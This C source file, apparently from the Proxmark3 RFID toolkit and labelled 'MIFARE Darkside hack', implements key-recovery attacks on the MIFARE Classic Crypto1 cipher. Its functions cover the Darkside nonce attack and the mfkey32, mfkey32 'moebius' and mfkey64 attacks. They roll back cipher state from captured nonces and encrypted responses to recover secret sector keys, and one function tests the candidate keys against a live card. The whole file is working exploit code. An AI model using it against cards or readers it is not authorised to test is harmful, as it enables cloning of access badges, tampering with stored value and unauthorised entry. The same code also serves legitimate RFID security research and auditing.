| 1 | //----------------------------------------------------------------------------- |
| 2 | // Merlok - June 2011 |
| 3 | // Roel - Dec 2009 |
| 4 | // Unknown author |
| 5 | // |
| 6 | // This code is licensed to you under the terms of the GNU GPL, version 2 or, |
| 7 | // at your option, any later version. See the LICENSE.txt file for the text of |
| 8 | // the license. |
| 9 | //----------------------------------------------------------------------------- |
| 10 | // MIFARE Darkside hack |
| 11 | //----------------------------------------------------------------------------- |
| 12 | #include "nonce2key.h" |
| 13 | |
| 14 | int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) { |
| 15 | struct Crypto1State *state; |
| 16 | uint32_t i, pos, rr = 0, nr_diff; |
| 17 | byte_t bt, ks3x[8], par[8][8]; |
| 18 | |
| 19 | // Reset the last three significant bits of the reader nonce |
| 20 | nr &= 0xffffff1f; |
| 21 | |
| 22 | PrintAndLog("uid(%08x) nt(%08x) par(%016"llx") ks(%016"llx") nr(%08x)\n", uid, nt, par_info, ks_info, nr); |
| 23 | |
| 24 | for ( pos = 0; pos < 8; pos++ ) { |
| 25 | ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f; |
| 26 | bt = (par_info >> (pos*8)) & 0xff; |
| 27 | |
| 28 | for ( i = 0; i < 8; i++) { |
| 29 | par[7-pos][i] = (bt >> i) & 0x01; |
| 30 | } |
| 31 | } |
| 32 | |
| 33 | printf("+----+--------+---+-----+---------------+\n"); |
| 34 | printf("|diff|{nr} |ks3|ks3^5|parity |\n"); |
| 35 | printf("+----+--------+---+-----+---------------+\n"); |
| 36 | for ( i = 0; i < 8; i++) { |
| 37 | nr_diff = nr | i << 5; |
| 38 | printf("| %02x |%08x| %01x | %01x |", i << 5, nr_diff, ks3x[i], ks3x[i]^5); |
| 39 | |
| 40 | for (pos = 0; pos < 7; pos++) printf("%01x,", par[i][pos]); |
| 41 | printf("%01x|\n", par[i][7]); |
| 42 | } |
| 43 | printf("+----+--------+---+-----+---------------+\n"); |
| 44 | |
| 45 | clock_t t1 = clock(); |
| 46 | |
| 47 | state = lfsr_common_prefix(nr, rr, ks3x, par); |
| 48 | lfsr_rollback_word(state, uid ^ nt, 0); |
| 49 | crypto1_get_lfsr(state, key); |
| 50 | crypto1_destroy(state); |
| 51 | |
| 52 | t1 = clock() - t1; |
| 53 | if ( t1 > 0 ) PrintAndLog("Time in nonce2key: %.0f ticks \n", (float)t1); |
| 54 | return 0; |
| 55 | } |
| 56 | |
| 57 | int compar_intA(const void * a, const void * b) { |
| 58 | if (*(int64_t*)b == *(int64_t*)a) return 0; |
| 59 | if (*(int64_t*)b > *(int64_t*)a) return 1; |
| 60 | return -1; |
| 61 | } |
| 62 | |
| 63 | // call when PAR == 0, special attack? It seems to need two calls. with same uid, block, keytype |
| 64 | int nonce2key_ex(uint8_t blockno, uint8_t keytype, uint32_t uid, uint32_t nt, uint32_t nr, uint64_t ks_info, uint64_t * key) { |
| 65 | |
| 66 | struct Crypto1State *state; |
| 67 | uint32_t i, pos, key_count; |
| 68 | uint8_t ks3x[8]; |
| 69 | uint64_t key_recovered; |
| 70 | int64_t *state_s; |
| 71 | static uint8_t last_blockno; |
| 72 | static uint8_t last_keytype; |
| 73 | static uint32_t last_uid; |
| 74 | static int64_t *last_keylist; |
| 75 | |
| 76 | if (last_uid != uid && |
| 77 | last_blockno != blockno && |
| 78 | last_keytype != keytype && |
| 79 | last_keylist != NULL) |
| 80 | { |
| 81 | free(last_keylist); |
| 82 | last_keylist = NULL; |
| 83 | } |
| 84 | last_uid = uid; |
| 85 | last_blockno = blockno; |
| 86 | last_keytype = keytype; |
| 87 | |
| 88 | // Reset the last three significant bits of the reader nonce |
| 89 | nr &= 0xffffff1f; |
| 90 | |
| 91 | // split keystream into array |
| 92 | for (pos=0; pos<8; pos++) { |
| 93 | ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f; |
| 94 | } |
| 95 | |
| 96 | // find possible states for this keystream |
| 97 | state = lfsr_common_prefix_ex(nr, ks3x); |
| 98 | |
| 99 | if (!state) { |
| 100 | PrintAndLog("Failed getting states"); |
| 101 | return 1; |
| 102 | } |
| 103 | |
| 104 | state_s = (int64_t*)state; |
| 105 | |
| 106 | uint32_t xored = uid ^ nt; |
| 107 | |
| 108 | for (i = 0; (state) && ((state + i)->odd != -1); i++) { |
| 109 | lfsr_rollback_word(state + i, xored, 0); |
| 110 | crypto1_get_lfsr(state + i, &key_recovered); |
| 111 | *(state_s + i) = key_recovered; |
| 112 | } |
| 113 | |
| 114 | qsort(state_s, i, sizeof(int64_t), compar_intA); |
| 115 | *(state_s + i) = -1; |
| 116 | |
| 117 | // first call to this function. clear all other stuff and set new found states. |
| 118 | if (last_keylist == NULL) { |
| 119 | free(last_keylist); |
| 120 | last_keylist = state_s; |
| 121 | PrintAndLog("parity is all zero, testing special attack. First call, this attack needs at least two calls. Hold on..."); |
| 122 | PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)\n", uid, nt, ks_info, nr); |
| 123 | return 1; |
| 124 | } |
| 125 | |
| 126 | PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)\n", uid, nt, ks_info, nr); |
| 127 | |
| 128 | //Create the intersection: |
| 129 | int64_t *p1, *p2, *p3; |
| 130 | p1 = p3 = last_keylist; |
| 131 | p2 = state_s; |
| 132 | |
| 133 | while ( *p1 != -1 && *p2 != -1 ) { |
| 134 | if (compar_intA(p1, p2) == 0) { |
| 135 | printf("p1:%"llx" p2:%"llx" p3:%"llx" key:%012"llx"\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1); |
| 136 | *p3++ = *p1++; |
| 137 | p2++; |
| 138 | } |
| 139 | else { |
| 140 | while (compar_intA(p1, p2) == -1) ++p1; |
| 141 | while (compar_intA(p1, p2) == 1) ++p2; |
| 142 | } |
| 143 | } |
| 144 | key_count = p3 - last_keylist; |
| 145 | printf("key_count: %d\n", key_count); |
| 146 | if ( key_count == 0 ){ |
| 147 | free(state); |
| 148 | state = NULL; |
| 149 | return 0; |
| 150 | } |
| 151 | |
| 152 | uint8_t retval = 1; |
| 153 | // Validate all key candidates with testing each of them with mfCheckKeys |
| 154 | uint8_t keyBlock[6] = {0,0,0,0,0,0}; |
| 155 | uint64_t key64; |
| 156 | for (i = 0; i < key_count; i++) { |
| 157 | key64 = *(last_keylist + i); |
| 158 | num_to_bytes(key64, 6, keyBlock); |
| 159 | key64 = 0; |
| 160 | if (!mfCheckKeys(blockno, keytype, false, 1, keyBlock, &key64)) { |
| 161 | *key = key64; |
| 162 | retval = 0; |
| 163 | goto out; |
| 164 | } |
| 165 | } |
| 166 | |
| 167 | out: |
| 168 | free(last_keylist); |
| 169 | last_keylist = NULL; |
| 170 | free(state); |
| 171 | state = NULL; |
| 172 | return retval; |
| 173 | } |
| 174 | |
| 175 | // 32 bit recover key from 2 nonces |
| 176 | bool tryMfk32(nonces_t data, uint64_t *outputkey, bool verbose) { |
| 177 | struct Crypto1State *s,*t; |
| 178 | uint64_t outkey = 0; |
| 179 | uint64_t key=0; // recovered key |
| 180 | uint32_t uid = data.cuid; |
| 181 | uint32_t nt = data.nonce; // first tag challenge (nonce) |
| 182 | uint32_t nr0_enc = data.nr; // first encrypted reader challenge |
| 183 | uint32_t ar0_enc = data.ar; // first encrypted reader response |
| 184 | uint32_t nr1_enc = data.nr2; // second encrypted reader challenge |
| 185 | uint32_t ar1_enc = data.ar2; // second encrypted reader response |
| 186 | bool isSuccess = FALSE; |
| 187 | uint8_t counter = 0; |
| 188 | |
| 189 | clock_t t1 = clock(); |
| 190 | uint32_t p64 = prng_successor(nt, 64); |
| 191 | |
| 192 | if ( verbose ) { |
| 193 | printf("Recovering key for:\n"); |
| 194 | printf(" uid: %08x\n",uid); |
| 195 | printf(" nt: %08x\n",nt); |
| 196 | printf(" {nr_0}: %08x\n",nr0_enc); |
| 197 | printf(" {ar_0}: %08x\n",ar0_enc); |
| 198 | printf(" {nr_1}: %08x\n",nr1_enc); |
| 199 | printf(" {ar_1}: %08x\n",ar1_enc); |
| 200 | printf("\nLFSR succesors of the tag challenge:\n"); |
| 201 | printf(" nt': %08x\n", p64); |
| 202 | printf(" nt'': %08x\n", prng_successor(p64, 32)); |
| 203 | } |
| 204 | |
| 205 | s = lfsr_recovery32(ar0_enc ^ p64, 0); |
| 206 | |
| 207 | for(t = s; t->odd | t->even; ++t) { |
| 208 | lfsr_rollback_word(t, 0, 0); |
| 209 | lfsr_rollback_word(t, nr0_enc, 1); |
| 210 | lfsr_rollback_word(t, uid ^ nt, 0); |
| 211 | crypto1_get_lfsr(t, &key); |
| 212 | crypto1_word(t, uid ^ nt, 0); |
| 213 | crypto1_word(t, nr1_enc, 1); |
| 214 | if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64)) { |
| 215 | outkey = key; |
| 216 | ++counter; |
| 217 | if (counter==20) break; |
| 218 | } |
| 219 | } |
| 220 | isSuccess = (counter > 0); |
| 221 | t1 = clock() - t1; |
| 222 | if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.0f ticks - possible keys %d\n", (float)t1, counter); |
| 223 | |
| 224 | *outputkey = ( isSuccess ) ? outkey : 0; |
| 225 | crypto1_destroy(s); |
| 226 | return isSuccess; |
| 227 | } |
| 228 | |
| 229 | bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey, bool verbose) { |
| 230 | struct Crypto1State *s, *t; |
| 231 | uint64_t outkey = 0; |
| 232 | uint64_t key = 0; // recovered key |
| 233 | uint32_t uid = data.cuid; |
| 234 | uint32_t nt0 = data.nonce; // first tag challenge (nonce) |
| 235 | uint32_t nr0_enc = data.nr; // first encrypted reader challenge |
| 236 | uint32_t ar0_enc = data.ar; // first encrypted reader response |
| 237 | //uint32_t uid1 = le32toh(data+16); |
| 238 | uint32_t nt1 = data.nonce2; // second tag challenge (nonce) |
| 239 | uint32_t nr1_enc = data.nr2; // second encrypted reader challenge |
| 240 | uint32_t ar1_enc = data.ar2; // second encrypted reader response |
| 241 | bool isSuccess = FALSE; |
| 242 | int counter = 0; |
| 243 | |
| 244 | clock_t t1 = clock(); |
| 245 | |
| 246 | uint32_t p640 = prng_successor(nt0, 64); |
| 247 | uint32_t p641 = prng_successor(nt1, 64); |
| 248 | |
| 249 | if (verbose) { |
| 250 | printf("Recovering key for:\n"); |
| 251 | printf(" uid: %08x\n", uid); |
| 252 | printf(" nt_0: %08x\n", nt0); |
| 253 | printf(" {nr_0}: %08x\n", nr0_enc); |
| 254 | printf(" {ar_0}: %08x\n", ar0_enc); |
| 255 | printf(" nt_1: %08x\n", nt1); |
| 256 | printf(" {nr_1}: %08x\n", nr1_enc); |
| 257 | printf(" {ar_1}: %08x\n", ar1_enc); |
| 258 | printf("\nLFSR succesors of the tag challenge:\n"); |
| 259 | printf(" nt': %08x\n", p640); |
| 260 | printf(" nt'': %08x\n", prng_successor(p640, 32)); |
| 261 | } |
| 262 | |
| 263 | s = lfsr_recovery32(ar0_enc ^ p640, 0); |
| 264 | |
| 265 | for(t = s; t->odd | t->even; ++t) { |
| 266 | lfsr_rollback_word(t, 0, 0); |
| 267 | lfsr_rollback_word(t, nr0_enc, 1); |
| 268 | lfsr_rollback_word(t, uid ^ nt0, 0); |
| 269 | crypto1_get_lfsr(t, &key); |
| 270 | |
| 271 | crypto1_word(t, uid ^ nt1, 0); |
| 272 | crypto1_word(t, nr1_enc, 1); |
| 273 | if (ar1_enc == (crypto1_word(t, 0, 0) ^ p641)) { |
| 274 | outkey=key; |
| 275 | ++counter; |
| 276 | if (counter==20) break; |
| 277 | } |
| 278 | } |
| 279 | isSuccess = (counter > 0); |
| 280 | t1 = clock() - t1; |
| 281 | if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.0f ticks - possible keys %d\n", (float)t1, counter); |
| 282 | |
| 283 | *outputkey = ( isSuccess ) ? outkey : 0; |
| 284 | crypto1_destroy(s); |
| 285 | return isSuccess; |
| 286 | } |
| 287 | |
| 288 | int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){ |
| 289 | uint32_t uid = le32toh(data); |
| 290 | uint32_t nt = le32toh(data+4); // tag challenge |
| 291 | uint32_t nr_enc = le32toh(data+8); // encrypted reader challenge |
| 292 | uint32_t ar_enc = le32toh(data+12); // encrypted reader response |
| 293 | uint32_t at_enc = le32toh(data+16); // encrypted tag response |
| 294 | return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey); |
| 295 | } |
| 296 | |
| 297 | int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){ |
| 298 | uint64_t key = 0; // recovered key |
| 299 | uint32_t ks2; // keystream used to encrypt reader response |
| 300 | uint32_t ks3; // keystream used to encrypt tag response |
| 301 | struct Crypto1State *revstate; |
| 302 | |
| 303 | PrintAndLog("Enter mfkey64"); |
| 304 | clock_t t1 = clock(); |
| 305 | |
| 306 | // Extract the keystream from the messages |
| 307 | ks2 = ar_enc ^ prng_successor(nt, 64); |
| 308 | ks3 = at_enc ^ prng_successor(nt, 96); |
| 309 | revstate = lfsr_recovery64(ks2, ks3); |
| 310 | lfsr_rollback_word(revstate, 0, 0); |
| 311 | lfsr_rollback_word(revstate, 0, 0); |
| 312 | lfsr_rollback_word(revstate, nr_enc, 1); |
| 313 | lfsr_rollback_word(revstate, uid ^ nt, 0); |
| 314 | crypto1_get_lfsr(revstate, &key); |
| 315 | |
| 316 | PrintAndLog("Found Key: [%012"llx"]", key); |
| 317 | t1 = clock() - t1; |
| 318 | if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.0f ticks \n", (float)t1); |
| 319 | |
| 320 | *outputkey = key; |
| 321 | crypto1_destroy(revstate); |
| 322 | return 0; |
| 323 | } |